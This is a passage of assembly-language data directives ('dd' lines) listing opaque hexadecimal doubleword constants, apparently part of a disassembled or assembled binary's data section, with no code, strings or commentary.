		dd 9548C0B4h, 116B60h, 14A80CDFh, 0D45B509Bh, 16210B09h
		dd 181826C5h, 6FE280F0h, 7D2DF060h, 9C14B9CAh, 3155C7DBh
		dd 28C4C0A6h, 670043AAh, 8233B4E6h, 643BB302h, 0B07F10EBh
		dd 9BEA4788h, 0CC88FC93h, 80102549h, 0B3024C71h, 0FC6073E0h
		dd 907196h, 16F70C59h, 91007A44h, 15A98AAEh, 2F92602Bh
		dd 2098A5A2h, 0C09C376Ch, 0E8A64B62h, 9141B4E0h, 0EC858084h
		dd 0EEF2B36Fh, 0F43A940Fh, 0CA99EBD0h, 7EEDC02Ch, 404C9C85h
		dd 6C1161DFh, 30FD242Eh, 76E5AB01h, 0A82C969Bh,	0D2010D3Fh
		dd 68814C58h, 0EA7C31E6h, 0F4907C59h, 9F00658Eh, 38E5CF4Dh
		dd 8CBE2C00h, 72925DDEh, 0C9E41217h, 0F8B3BDh, 0AEC0CDF1h
		dd 0E8F228h, 0AB881494h, 6FE3BC76h, 0F4A65CEEh,	17C5D700h
		dd 1C931226h, 371300BEh, 0ED9BD9CAh, 0AA48D83Fh, 12AC078h
		dd 0E19DC22h, 23685169h, 0D4C7A03h, 5C83B682h, 2A88CC27h
		dd 6C747BBBh, 0CC88BC4Ah, 0D34188BEh, 8F0EB8FCh, 6285FAh
		dd 0F3564C75h, 76D9F803h, 0CF3A0952h, 944116CCh, 2D8C4DB7h
		dd 0E31000ECh, 0E594C50h, 0C2609C6Eh, 9E022025h, 58012BF1h
		dd 1282106Ch, 3A44495h,	0D5F4042Dh, 58981848h, 0B402BB37h
		dd 1125ED29h, 22F08E60h, 44450D68h, 0DCD1006Ch,	0AA8B8264h
		dd 8D13BC75h, 4030589Dh, 0B757ECh, 0F67EC4BDh, 85A625F5h
		dd 16F0FC00h, 3B493606h, 70CB2897h, 0EF1A3C48h,	60E9AC81h
		dd 0F8D954B2h, 0C70FA0D4h, 4346B047h, 7C1F9E0Eh, 2EBB7DE9h
		dd 400C3992h, 9D3B94E5h, 0D2075C93h, 8E70DFBEh,	1060B97Bh
		dd 0C4EE69A2h, 0B0A8DAE7h, 0D22E71C1h, 410CF1FCh, 129901BCh
		dd 1707A85h, 9B262AC9h,	717C3E37h, 754CFCC8h, 506AD200h
		dd 12104334h, 9A09A1Dh,	0D99142B4h, 3023853h, 98829C83h
		dd 0FF8E998h, 0CF32A299h, 22657740h, 43D1E05h, 536A0EB8h
		dd 0CC3D45CAh, 0DF006CA2h, 7A794D1Fh, 9B01F7B0h, 0D22DD444h
		dd 0BC324537h, 2FD33000h, 2223A22Ch, 83209B00h,	1E0EFADCh
		dd 85D009D5h, 5020256Dh, 3B455942h, 50067300h, 0E6A792B0h
		dd 93EF2D4Dh, 8C644409h, 0A0A9C800h, 0BBE71FB4h, 8BB00AD8h
		dd 48118F4h, 0E46D10FEh, 0E003104h, 5EE10D7Eh, 806877h
		dd 45D1C3B3h, 8D704998h, 5310754Ch, 806E3D48h, 0D75A9D3Ah
		dd 8D12Ch, 732F8015h, 3C4701F0h, 90808D4Eh, 0C07170E6h
		dd 0F395D069h, 0A0B8B64Eh, 0C4B71125h, 2ABD4530h, 0E01F4422h
		dd 9BB4B0Fh, 226C7F5Ah,	402CDCD2h, 9140C8E8h, 58EE29Eh
		dd 59F782C9h, 3BF820C8h, 0E1E06AD8h, 0E910EC17h, 0E96E44C8h
		dd 187E7F10h
		dd 5C272BE5h, 8E93E0Fh,	20175B13h, 262E0C8Ch, 190860Bh
		dd 45ADB2CEh, 40047020h, 5D3B6000h, 0A6A0199Ah,	70E9C84Dh
		dd 21C0429Ch, 66649D2h,	45D80085h, 762322E6h, 7F1263E8h
		dd 98C8C482h, 0A63E01EFh, 0B3FF4094h, 801CD55Eh, 0D5D1F5B9h
		dd 2B57FAh, 0C9FB7269h,	5EC40CB2h, 0C7CBFC07h, 0EFC6AC45h
		dd 7C070031h, 0B45F68DDh, 9A014869h, 1AEC11E9h,	243E1E6Dh
		dd 1FF0A80Ch, 0B41F7F5h, 0E3947842h, 82E023CEh,	0F1FC2AC3h
		dd 134C32C8h, 9884927Fh, 87A2E008h, 0E0E29BFEh,	8ACA981Bh
		dd 940C5716h, 10C07013h, 97B3CDB4h, 0E5D41880h,	81C24C18h
		dd 90071099h, 5C3BA1B8h, 0A890A041h, 64D88026h,	494406Ah
		dd 0E83FDC34h, 7F4A0758h, 1A00525h, 0C0784D8Bh,	67018F0Bh
		dd 6A217122h, 2C319280h, 824F3462h, 8A210618h, 44602981h
		dd 84189095h, 4F05000Ch, 0AA17303Fh, 242F92DEh,	883022AEh
		dd 11582A87h, 8E227CE1h, 209E093h, 9EE37643h, 50DE23FFh
		dd 2E388640h, 3415120Fh, 7F340460h, 0E7DCE48Dh,	0EF31C1FAh
		dd 0C56B49DBh, 7C20E4h,	0E660280Ah, 2233B62Ah, 7D666D12h
		dd 897FD805h, 0BCE780A4h, 0B72E4564h, 0AB0D0B08h, 2F98E4Fh
		dd 796778CCh, 8A620028h, 0A3CF51Eh, 2F04DE74h, 0B3B926Ah
		dd 2D13B4F8h, 394002EAh, 0CCA00C08h, 0F975E37Fh, 0C18A9612h
		dd 646E7C04h, 0A1E6C880h, 9E810260h, 688CF49Dh,	0A0BAF8E4h
		dd 9BB735FAh, 0F4602058h, 0B4195868h, 884A8411h, 0A200C5B4h
		dd 0B33A7C6Dh, 0ADB5DCh, 0DF59CAB0h, 0A47FEB74h, 1087810Ah
		dd 7908FC98h, 362203AAh, 6011ECEAh, 885A0C86h, 4060FE8h
		dd 8AB4816Ch, 43A54538h, 40A4F418h, 2F9B7382h, 0D700781h
		dd 8416E567h, 2D10F96Eh, 7750C8F2h, 0CC9500DDh,	468CC69Dh
		dd 0DE009153h, 5476A886h, 48988F75h, 9F0108C9h,	396C877Fh
		dd 8B7C419Ch, 88D408AEh, 6400B5DBh, 0A2D3BCC3h,	52FC59h
		dd 0FDE0518h, 0A7016E30h, 3CC37D2Ch, 2738E680h,	981F975Eh
		dd 98ACE044h, 9F82C54h,	0B5AB0EA8h, 179C7CE1h, 611C04Ch
		dd 0CA37E04h, 0C0E8E0B8h, 4CD1E2C0h, 670F51C4h,	40C7FBA7h
		dd 0DB28C11Eh, 2F6D049Eh, 85B52998h, 802CA8E8h,	1972F0A8h
		dd 0FE27FF5h, 0A091CD33h, 0E49713E2h, 13FF891h,	0F4220AB0h
		dd 4C006C22h, 75B973CFh, 795F76Ah, 53674DD3h, 0D56C9061h
		dd 0E1319D36h, 23394846h, 8E0CA042h, 274B0324h,	93F83B7Dh
		dd 0EC136709h, 0E9123885h, 7E0D02A0h, 0E46D1740h, 55E4005Ch
		dd 0B8E1B742h, 6201121Dh, 6718B9D4h, 420CBBEh, 0F2864070h
		dd 94000099h, 694584FBh, 41B80022h, 5D61AFF9h, 0FD72766Ch
		dd 6EAEE60Fh, 6CC7B2D0h, 269F26C3h, 40F49571h, 0C6B7AB73h
		dd 6AE93F01h, 623C04F9h, 43EC3D0h, 0A6D1DDDAh, 30DC8929h
		dd 2F88DB8Ch, 5CD90047h, 5552CD6Bh, 7180FD19h, 0B8EA5028h
		dd 76E43783h, 0C41A3B78h, 6207C94h, 0B63C256Eh,	7100206Ch
		dd 4C4E7810h, 18379C8h,	27F1B1B9h, 6A1D3A04h, 6CCA8010h
		dd 989C71ECh, 429A45ECh, 0F85905F4h, 48790346h,	28223C76h
		dd 338FE481h, 598522A8h, 5C40E0E7h, 94162D3Bh, 0F838EC49h
		dd 9200108Eh, 185F39D8h, 30C6A2h, 31060CCFh, 9722E727h
		dd 6606B890h, 14E611B7h, 6CD44450h, 0C1903858h,	26F5D80h
		dd 811DC28h, 0D0670012h, 0CB652FA0h, 6A7F0B22h,	5410831Ah
		dd 75E815BAh, 0F717C8E9h, 7C003A90h, 55D5E8DAh,	7AF51C2Fh
		dd 4635130Dh, 81C0817h,	16756780h, 25894241h, 0C4E64DECh
		dd 96F09F80h, 0B75C4900h, 95E769A7h, 11C30023h,	0F32AE8A0h
		dd 24246C0Ah, 764F80C2h, 0D9B52820h, 0B9C50002h, 8058DF6Dh
		dd 9300F856h, 0CA86F38Dh, 0E90E0E3h, 41FF746Ch,	4C26D120h
		dd 544BCD91h, 80134084h, 3973D0C8h, 83253B89h, 787C7042h
		dd 0CA1E78h, 42C94E2Ah,	0DA9F0D19h, 80675A3Ch, 0EB7850E1h
		dd 0D2026E9Ah, 0D6C0E059h, 0DA8F291Eh, 172B9240h, 973D413Ah
		dd 2DE76C01h, 91FE4CBh,	0F3504C02h, 0E0604FDDh,	0E065E224h
		dd 0E02CB85Ch, 15CB938h, 0BD57C2E1h, 7846DA7Fh,	907EFE05h
		dd 64DCB87Ah, 22B01CC6h, 513C0028h, 0EFAAB43Ah,	631C7B50h
		dd 6D783017h, 8AB570C8h, 800174C3h, 59C0B82Eh, 2C5067A9h
		dd 4A46B7B5h, 812C253Bh, 2FABCDB7h, 44860422h, 99D70174h
		dd 9EDC914Dh, 13A4393Bh, 0E0A5EF10h, 0F501B473h, 1434F4A3h
		dd 44B461F7h, 844DC88h,	0CF238F00h, 79DEFC47h, 65350085h
		dd 5646A062h, 0E0014E21h, 9D99C42Fh, 0C034FFF1h, 1660BA76h
		dd 0A7D65B10h, 6DA8004Ch, 0A0C6AAA6h, 728500B6h, 97F57CDBh
		dd 88F47952h, 0F0BA8C34h, 0A4AEB883h, 0E914142h, 0A34078FEh
		dd 0F6F27882h, 487CABh,	34CD8E85h, 0BABB102Ch, 1A094D04h
		dd 20C895B4h, 1218008Bh, 10640E15h, 0CB90C4Eh, 57C0059Dh
		dd 3BD71E5h, 0B48F3D31h, 639A700h, 0FC8C1BBBh, 1613102Fh
		dd 0E876093Ch, 747A8B64h, 0E160F000h, 0D261EC12h, 0AC4737A4h
		dd 1E4CC308h, 0ED68E388h, 0C48DF00h, 0F3D9ADD1h, 0DCE43EC7h
		dd 40570B18h, 8C7900Fh,	65A002D2h, 1E0392h, 0DE586E4Dh
		dd 0FA118C98h, 58E56930h, 0E6379460h, 49A10045h, 44037B2Ch
		dd 950043B3h, 0AB67CF18h, 63E1E9B8h, 910F31E3h,	87D0613Fh
		dd 13D3B968h, 0F5F48E50h, 585501E3h, 0B1DFE7DCh, 8F82E5E9h
		dd 1411E139h, 163226Ch,	6DF459F8h, 7079D7FFh, 2406C941h
		dd 2BE3F14Eh, 51A46069h, 46F5EA34h, 0C09B0F88h,	0E7A5C121h
		dd 63E89556h, 0F0DC753Ah, 0AE064BFEh, 64B3ED4Ah, 0BED01E49h
		dd 89E51848h, 4F00F41Ah, 0BC3C5CF3h, 5FFD577h, 0C9EA4B32h
		dd 5E3408E6h, 0A75380BFh, 0D4217E3h, 83EEBAh, 32884486h
		dd 31A20FACh, 39D3EC30h, 616B5DD2h, 6377E9AEh, 0A31982ABh
		dd 84BAFDE9h, 90589A30h, 0A179E56h, 1C0039E8h, 8672AEB0h
		dd 0A7AB01F4h, 0D36E65B2h, 0C4A448B3h, 5BC82B00h, 0FECB7741h
		dd 31E00059h, 0E64BBBAEh, 7A041929h, 7842B3DBh,	70F8E905h
		dd 1ED1696Ch, 821D9000h, 6E2FD40h, 0FCFF7381h, 5DEA0A6Eh
		dd 11C69E8h, 5A72AD7Ch,	0DCCDF133h, 1A00489Ah, 0C306BC65h
		dd 1D8B4BA8h, 9FB2E337h, 44E24770h, 5F0FB31Dh, 13D67100h
		dd 0D81C0E1Eh, 32C900B6h, 4BB24C94h, 0E01CE2B9h, 44FFEA44h
		dd 2D0F872h, 70D15280h,	0B090E768h, 0AC00CBD5h,	1C5A3F3Dh
		dd 23E731Eh, 0C0D0FEABh, 62DF6A83h, 335C9094h, 7A5C0031h
		dd 0AA92746Fh, 0FEFACC0Ah, 0EF152B15h, 303068C0h, 0CAF82700h
		dd 1F12CBh, 888CBADBh, 0F51BA873h, 0E15F9209h, 84241226h
		dd 2B20EA74h, 18267D9h,	381177D8h, 9A04Ch, 0F8187E92h
		dd 0DB302891h, 0EB747300h, 0AF0530Bh, 0DA9B0AACh, 746476h
		dd 18FAD041h, 55F8D7A6h, 441981E3h, 0DB58CD67h,	200F81DCh
		dd 0A77EEEC8h, 1492E001h, 4E5676C0h, 705C9180h,	735D620Dh
		dd 80F17163h, 776AC172h, 574E1181h, 0E69F4AFCh,	96F517E0h
		dd 0E0D34B00h, 27C0AD52h, 14D024E2h, 12F747A8h,	0DC81D340h
		dd 0F2EF484Bh, 12857808h, 0D50E5562h, 0CE35C054h, 16F68203h
		dd 297AE7h, 0E2B4C2E5h,	477CA32Bh, 8C99D660h, 30A2B29Eh
		dd 0F1F1A50Ah, 0C706B9B5h, 0E21EE5ADh, 0E3400061h, 663BDA5h
		dd 137F3BFBh, 0F8EAD800h, 73F9BFFFh, 0F66F01DFh, 69F2963Dh
		dd 6D3994EDh, 14901DB3h, 44C68C07h, 7AC401FEh, 0E187725Dh
		dd 2AE3D8F0h, 32E164F4h
		dd 29A01324h, 24819EDh,	704600D8h, 65EEF336h, 917903FEh
		dd 77567430h, 345D313Eh, 0C48C615Eh, 9B8700BBh,	77171433h
		dd 9F0E6629h, 67EF491Eh, 53B728EAh, 0ACE33FA7h,	7BA100FEh
		dd 290C85F8h, 0ED033483h, 6E6FEF52h, 758798BEh,	0E0F61727h
		dd 7850017Eh, 56F41FDFh, 1248D884h, 68D7827Ch, 486556h
		dd 48B60340h, 2500DF11h, 2D99309Bh, 175B4DDh, 0C23E3C05h
		dd 85540A97h, 9DB84231h, 0F3C122C0h, 0BB4B0078h, 2A1179C4h
		dd 4750E1CAh, 69D6D9CBh, 687E1503h, 77900965h, 6C195756h
		dd 0BC28206Dh, 0CECFC412h, 402CB013h, 75590061h, 9DF8048Ah
		dd 8E140846h, 0C0A897h,	0C140B609h, 13C3D980h, 336D76E3h
		dd 6EC1BAC0h, 0B9384092h, 0FD075780h, 0DEDC18B3h, 5C55FA80h
		dd 6B7711EFh, 0E8547F13h, 5A001998h, 0E19B911Bh, 0E2894E2Fh
		dd 695D31DEh, 0EECCF021h, 10632441h, 0DFA66A77h, 32701249h
		dd 0C8421AB8h, 8048D488h, 0BB46970h, 1B00AA7Bh,	4D95CFE6h
		dd 6BFE95Ch, 68D0ABACh,	0C200D1EFh, 55B55FCBh, 3C18701Dh
		dd 2A00E38Ch, 8DD0F178h, 7E0471C6h, 29B373F8h, 0E5C16497h
		dd 71BB980Ah, 0BB0024BCh, 8A4A25EDh, 8D1FB353h,	0BC2D41h
		dd 0F194E634h, 0C8D07C73h, 5C80ABA8h, 0AADA4C6Dh, 66FA26E9h
		dd 15F640D8h, 9C098C96h, 2773EE5h, 0DFA231D5h, 0F900BEC3h
		dd 70185AECh, 618E292Fh, 47F130E5h, 8821807Eh, 7F15E078h
		dd 8D4F24B4h, 0E1440FACh, 889F640h, 0D4B05914h,	22BCFD22h
		dd 85008D0Ah, 0F96C76D6h, 5DBEBC3h, 0E10B1956h,	739FC04Eh
		dd 0C8902146h, 0C2D2A30Eh, 9439B811h, 48EB1CB8h, 0A1B4EA33h
		dd 0F180EE8Ch, 0D321BEE2h, 730058BBh, 74F9EDF8h, 9111E3C2h
		dd 5854280Ch, 48C45CD6h, 0AB008C5Fh, 64DDA788h,	21F138DBh
		dd 0DA13D9FEh, 7FCD31E0h, 0BC444Ch, 9F37B2FAh, 64B643A2h
		dd 88481880h, 0C000F52Ch, 0BE8DA3BCh, 183C42Fh,	796645FDh
		dd 80487E78h, 0A5C9F061h, 4A19DDh, 930820F1h, 97B990CFh
		dd 0E8981890h, 851D08A6h, 54405F07h, 6D4C2C3Ch,	84F70008h
		dd 2B05DC6Ah, 466CEA98h, 902F90E0h, 0C8684CA0h,	0A3318680h
		dd 0E1001F27h, 9D3336A6h, 4C806ABAh, 0DD0E4707h, 0DBE5CF9Ch
		dd 0E19C04EAh, 0D844C80Ch, 0B207E417h, 94567020h, 8F5D074Dh
		dd 508D959Ch, 9E53118Eh, 8625873Ah, 9657744Ch, 3FB330B9h
		dd 0C2371C39h, 0B104BE0Fh, 0B4BA81D8h, 0CDE047E0h, 7DFB048Bh
		dd 47ACDE97h, 0EF7B6A4h, 0EC5F2DD0h, 0AA712C5Dh, 38184990h
		dd 0BD0B88BCh, 80FDCE1Ah, 84BFC9B1h, 224490B0h,	0A898EDFAh
		dd 79FC1903h, 0F7B465A8h, 88E16740h, 4810B01Ah,	7B80380Fh
		dd 85AF4044h, 71A84730h, 58AFCh, 0ED6A069Ah, 0D8BEF10h
		dd 263AC276h, 54BA01E2h, 6A76CFF1h, 23A1836h, 59288480h
		dd 8D07942h, 0E5DFE212h, 3C8024DCh, 0FA83A1DDh,	752E0B04h
		dd 0A344050h, 80022700h, 5ADB9520h, 4324268Ch, 0C44B0324h
		dd 0E100BB68h, 0EFA7EA70h, 484A8Dh, 0E99C2BC7h,	5DC92883h
		dd 410FDDFCh, 0E1FE6912h, 1D9DAF61h, 0A720E4h, 8A824F59h
		dd 57698C19h, 0A253C006h, 1B206580h, 2837E772h,	27C361C0h
		dd 0A4E9B101h, 0BCF6A48h, 8C5B03F2h, 300F3100h,	98EE4A26h
		dd 0B673F9h, 2EA5DB01h,	1DD4797Fh, 42C98408h, 0D3A780A0h
		dd 0B18B5AC1h, 0AF3E4B0Eh, 73C361C5h, 798138EBh, 6D39493Dh
		dd 0DE444041h, 96005A29h, 12E01AA5h, 11C0580Dh,	0A4FEFBh
		dd 75C2C5A7h, 0C1C779h,	58135A4Bh, 0BA6AE76Dh, 0C0B90960h
		dd 3B7F0EEEh, 0D91B7CD5h, 0C1E8190Ch, 5011D59h,	9F17B543h
		dd 3FDC1514h, 0DA6F6010h, 6CFC73Bh, 0AC011290h,	5201451Dh
		dd 818179B7h, 0DCE8E7E1h, 0BD988F25h, 0A8E039B8h, 843AAC4Ch
		dd 0E549C005h, 0DE001C0Ch, 94F8A5C1h, 8DBF3152h, 8064A031h
		dd 4AFA3BD9h, 7426DB7Bh, 0B4E60088h, 53EDE399h,	31C9A5BAh
		dd 58F380ACh, 6223F177h, 33F0683Fh, 61037080h, 800E630Dh
		dd 40F36972h, 2152E06Bh, 0E84CF1B3h, 10743AEFh,	21CC200h
		dd 4AAB2718h, 0BC66973Fh, 0BF05FA67h, 78688D69h, 162680Eh
		dd 0C0F85C5Ah, 5B8820F3h, 0EC80DF75h, 212090E0h, 7E1121B5h
		dd 3B257600h, 46715AC0h, 7A9EF303h, 1A6BB52h, 5895D521h
		dd 0F07EA3A0h, 716FD8BCh, 0D9C50318h, 3F51000Fh, 21357B1h
		dd 8C7FC2D3h, 9562C000h, 61C858BDh, 69A120E0h, 0F57EA779h
		dd 36ADC000h, 0E61549DDh, 0E5AB020Fh, 0EC77D2DAh, 3CA04446h
		dd 0A062526Eh, 3C67D0h,	0D3ADF261h, 0ABB55C00h,	0E5A237C0h
		dd 3E511F03h, 41399B72h, 4764B040h, 11F93890h, 64DCF72Ch
		dd 6BB600DDh, 3B36384Dh, 1619AA51h, 4BF0E525h, 2C2F5D02h
		dd 1C57C11Fh, 80F5251Ah, 0F70F7E0h, 6D19D632h, 46384C01h
		dd 8C66C501h, 0C9587C79h, 425D405Ah, 91F03D40h,	5F8E008Ch
		dd 0B340FEAEh, 0D2D6E500h, 7AB86D48h, 0EDC01216h, 3E5800D5h
		dd 0F3F17250h, 48F084A9h, 0F8F321C0h, 0C000642Bh, 0D1B02756h
		dd 3FD74DCh, 0FA5CB68Ah, 0D3CF5541h, 0C9506126h, 44843608h
		dd 7E00C07Dh, 3578A29h,	48F7FA3Ah, 0B031BCC6h, 81ADAA98h
		dd 0F173E888h, 3512229Ch, 15FC4420h, 450F0008h,	0B8EDD99Dh
		dd 3F6283E5h, 0A23D4B8h, 0A8211B4h, 0CCB96A47h,	1785843h
		dd 0D2396319h, 0D0D9234Bh, 2D900559h, 350925F8h, 824D859Bh
		dd 1074BF9Ch, 52883BECh, 0FC91A3h, 212D2F27h, 0F9C6DEFBh
		dd 295078h, 11543CF7h, 1D9F65Ah, 1184A84Ch, 0F0184FE9h
		dd 0F40D993Eh, 85518F00h, 54E1AE1Ah, 0D8D8CA45h, 0D9181984h
		dd 0D7B4203Dh, 0A9A05F18h, 0E26D1CEh, 790EC555h, 0CBB56262h
		dd 6483860h, 0C3584E00h, 21239E1Ah, 6A1C44F3h, 20ACB855h
		dd 0C5034998h, 0C4BAA35Ch, 5AC3A070h, 79F93FAFh, 0B0A9C203h
		dd 0B1004D78h, 411A5582h, 6F44B2Bh, 66B125CDh, 0E0E240EFh
		dd 0FB27D90Dh, 90A869A2h, 0D447014Ch, 61CF3648h, 0AAB32121h
		dd 0FF035C21h, 9FA0E90Eh, 0EA201F75h, 7A5B0A73h, 0DA5187B0h
		dd 0C0D0722Eh, 0C2013487h, 842996FBh, 75220E5Ch, 80BA4A20h
		dd 0D72E008Fh, 72264337h, 0CD053087h, 3B5A08BFh, 1AC0D434h
		dd 1F5956h, 0DD8CB6B4h,	53DCA4C2h, 5190BE30h, 0C03C7D47h
		dd 0D988E431h, 0CB19303Ah, 0F9896CA0h, 6A14FCh,	0A3C35E8Eh
		dd 8A8DF09Bh, 0ABE96700h, 0FFD07C41h, 0D36A24A4h, 272141CCh
		dd 79418F60h, 71FD0558h, 8704A020h, 6C282C37h, 3EF404D4h
		dd 0FE448123h, 0D02709h, 6F6038B6h, 5FDD3D0h, 9177B833h
		dd 5D03C099h, 973E42BDh, 0EEB4811Dh, 79304EE3h,	0C8388890h
		dd 61C5806Bh, 0B79EADF0h, 160C7001h, 0EA77AB3Bh, 611C5C22h
		dd 0F1BC68B5h, 3971C310h, 2621310Ah, 8C092463h,	11780FC8h
		dd 0EB105830h, 0C1D03E5Eh, 872D0020h, 0B6A9187Eh, 9A9600EFh
		dd 78F3A67Fh, 61006D04h, 0C18B9BA0h, 9C0395Eh, 3899EACFh
		dd 7847C882h, 230D010h,	0DCB1061Eh, 0E060D164h,	9209C0B3h
		dd 1A60FE21h, 804C4518h, 90D74CBFh, 7015EC43h, 9380C517h
		dd 8EA0A037h, 0FE45720Bh, 0C1800086h, 0E9F31362h, 0AB7A0159h
		dd 91A9940Ah, 0C0138870h, 718AEC30h, 18E000ACh,	9643A234h
		dd 37E3E6Dh, 6C45C48h, 7CB853CDh, 0AD191869h, 5178181Ah
		dd 6D62E1C0h, 0E0DF71h,	0CEAC3FA6h, 3CEBA252h, 5FCA7601h
		dd 88F22189h, 0B685424h, 9B5CEACEh, 1BA05483h, 983A8900h
		dd 5587C6E7h, 5C390026h
		dd 5EBB151Fh, 340417A9h, 745B4361h, 30B3F447h, 5DBFA3D6h
		dd 679BCF00h, 0EAFB404Ch, 70B24815h, 1AC04507h,	0EE27F0AFh
		dd 2D3D5471h, 79B91377h, 3DD3C004h, 7201F854h, 153FBB58h
		dd 71872F0h, 2910B0DFh,	7D5F7F90h, 38847583h, 0D58FBF9Fh
		dd 0F518953h, 13526847h, 64C1C024h, 0C872A2CEh,	0E972A018h
		dd 0AF018560h, 27834C74h, 0C84018FEh, 803CE473h, 4400FF65h
		dd 0A36F640Bh, 162FDC7h, 8AC06A07h, 8E66FA21h, 468BC549h
		dd 5B8A5D7h, 5B3D1D47h,	69DC88ADh, 7AF7FB88h, 0ECA0094h
		dd 35824E87h, 0DB003CD2h, 0C6B9CC6Ah, 5EAC1Fh, 0B805B5FDh
		dd 4ED6E42Eh, 4498111Eh, 0CC5DC600h, 330E4059h,	9A1189B7h
		dd 0CB2AC0E0h, 0C96D0B07h, 4D40E78Eh, 0CFAB323h, 67DB5B27h
		dd 0B7F86E61h, 59B539CDh, 1B6410E2h, 21783507h,	20FE2F5Ch
		dd 0C49C5E31h, 1F0A0E7Dh, 2BC07ED1h, 0F7351443h, 4ED36300h
		dd 0D267386Eh, 0DDC9189Dh, 0B75D68DAh, 428F44h,	9BB6F66Fh
		dd 0FF8CD038h, 44463B00h, 476E920Fh, 52CF030Dh,	5E580ECDh
		dd 0E9C9A81Ch, 37C24977h, 0DB860FBFh, 0FB01C96Dh, 26F53603h
		dd 23C02479h, 51280050h, 20804CDh, 84504C6Eh, 2F01436Ch
		dd 7E68B357h, 198039CDh, 511763B9h, 0C0D042CAh,	6CDEC684h
		dd 0AF281C69h, 556080C1h, 48E16B22h, 61605AB0h,	1AF56721h
		dd 0F7763CB0h, 0E4E03480h, 42C0DF19h, 0D59C0400h, 6F8D5847h
		dd 61BA6052h, 0F3F56361h, 0C40E70A0h, 0A0D2CB88h, 62F0C9F4h
		dd 10CD9189h, 0D2DA1080h, 0E4A0C1CBh, 0B288F950h, 0F121C0B3h
		dd 0C3FC2DD6h, 47CEED00h, 18FDD4F7h, 0A85E3C71h, 0CC7E7714h
		dd 0F7CAD9C0h, 886C6811h, 1B52A92h, 9714852Eh, 80C9B2CFh
		dd 24E39C59h, 2CABACh, 0E44D71B5h, 4679E011h, 0E1F2EA39h
		dd 20D8C929h, 402CE99Ch, 843A2743h, 0C1174DFh, 0C201BEB3h
		dd 0B1A2F831h, 4536F411h, 84D1F504h, 0C601543Dh, 0A27FB75Ch
		dd 580044E1h, 0B685E86h, 0C46782h, 17727CE8h, 89B45DE5h
		dd 41C73B7Eh, 4488586Eh, 47040C0h, 1CE9FA4h, 7AB02B28h
		dd 98B4FA0Dh, 0C189B529h, 0C9E44DBh, 0D980D274h, 0B49A05C3h
		dd 14984E8h, 0B3210854h, 0BB6180C2h, 0CA5CF5Bh,	3AEC88h
		dd 0F52D258Eh, 4D75A414h, 711F37F4h, 9CC03DFDh,	4357B51Eh
		dd 42D30005h, 0DD665547h, 757C87B7h, 1B5AE718h,	196E4659h
		dd 0D1C72053h, 167D10BEh, 0BD180061h, 666B330Eh, 0B1C0DDF6h
		dd 84E145D2h, 0C9880086h, 0F35F2ADCh, 1F2C7EF7h, 2B01A622h
		dd 8527243Dh, 2EEE60h, 0CD7D04B9h, 546EEBF4h, 848C8C54h
		dd 71526Fh, 0CFFA5174h,	2459486Eh, 2B3D439Dh, 0A1803AC5h
		dd 0D3EC578Ch, 524770A0h, 2F016609h, 0D2EC045Ah, 0B0D54F47h
		dd 6386A861h, 921D25ECh, 3CECCEh, 0C54F7866h, 4859D65Dh
		dd 20264FE2h, 5CD8980h,	7DDF8810h, 8991B430h, 0CB021BCh
		dd 346A294Bh, 78747038h, 763A801h, 694A89A4h, 516EC98Ah
		dd 83479070h, 88CBF905h, 60AFA406h, 45BF19B5h, 0F200FB60h
		dd 798B3784h, 89DF5h, 278A1B74h, 0D3E3CD3h, 0E8580724h
		dd 0C90CBF11h, 2CF1CEECh, 788C5B56h, 7E635A00h,	681FD756h
		dd 665B002Fh, 6BC2FEA7h, 577FB1ECh, 51035A73h, 0B31E7DBEh
		dd 3A5900CAh, 61E0C3F6h, 0F81DED75h, 0AB4742B4h, 4D60DD6Eh
		dd 1F58EEAh, 0D8963B5Ah, 8070DB59h, 0A530F8E1h,	0F008AE3Eh
		dd 15E40091h, 2FDB2134h, 6C9226B3h, 8C42DF04h, 4C240C2h
		dd 486259h, 63551C64h, 894F39B6h, 9CCF1915h, 300CCD13h
		dd 0AF925254h, 8311BB60h, 0E5A456Fh, 9C40D704h,	0B88CD220h
		dd 99C363DBh, 0D8AEFEE5h, 9416D5h, 9F14A0FBh, 4D4B6558h
		dd 5452E906h, 5251C3F5h, 3000E4DBh, 0EBD9EFDDh,	0EA00365Eh
		dd 0D875AD8Ah, 3189A96Ah, 0C294252h, 0BC1B8E0h,	1F074Dh
		dd 1AD7168Eh, 26190018h, 0FE1C3AA0h, 4E3E51C8h,	131E0F5h
		dd 9F3F8Fh, 315E6AFBh, 0EB3A8B54h, 16F46600h, 46BED268h
		dd 16CD74F2h, 4B12C5h, 5A47566Ch, 912DDD64h, 37F416h, 2E0E1FACh
		dd 6A0C9213h, 0D1DEAF44h, 0F5D231C9h, 2588B771h, 66D6304Ch
		dd 7F8A38h, 0E63C4377h,	41AE0AFh, 29011753h, 895481DEh
		dd 58A44946h, 0C4004388h, 4BFAB1BFh, 902C2745h,	6F2E12D4h
		dd 0CB5034D9h, 79B800D8h, 77A0D94Bh, 8BB0E3Fh, 89A5EB67h
		dd 0C54C848h, 7F39E560h, 612852Dh, 4B6360F0h, 65522892h
		dd 0A3FA80BCh, 0CA9FE2h, 81D8BC41h, 0ED2C5845h,	1A5B871Fh
		dd 0D1E9D38Ch, 34AE4Ah,	0CB26D070h, 1D45444Eh, 0CF7CD158h
		dd 28F7002Ah, 6E60ECh, 7EB62F39h, 329138D7h, 30881526h
		dd 596FDB8Ch, 0F83F7BE0h, 65D10E43h, 9A600BDCh,	12C4F8D2h
		dd 6CDD0A0h, 60DBAF44h,	0A2C3962h, 5B0045A0h, 0BFF276B1h
		dd 3A0EC33Fh, 75B828AFh, 0C8A41A4h, 0A4B9E10Ch,	6A000AB8h
		dd 5912B460h, 19DB2D7h,	54D9CDD0h, 30718231h, 31DED570h
		dd 0D476C200h, 0A62D12Ch, 0FBB60EACh, 0D70160A4h, 2A006A8Eh
		dd 0BC2C8768h, 1DAAD6h,	0A0124B77h, 7D9AF423h, 0FD11320Eh
		dd 0B302526Eh, 0A085B613h, 2FF069F0h, 4786006Ah, 4EC5EDE9h
		dd 8511237Ah, 8015448h,	6F66A659h, 21943356h, 2F5C063Bh
		dd 4429D039h, 6B80AC5Ah, 16D114EBh, 0C21C001Eh,	48D22934h
		dd 0BB4C7335h, 805C5C78h, 696E0FC8h, 1D1B3C41h,	2A082500h
		dd 0D38FBCDh, 8098B75Ch, 0F90B435Fh, 9CB44CC4h,	0A05CF500h
		dd 0EB647C8Ch, 18B23E7Ah, 0BDF8A812h, 8C5F5C83h, 0D2815900h
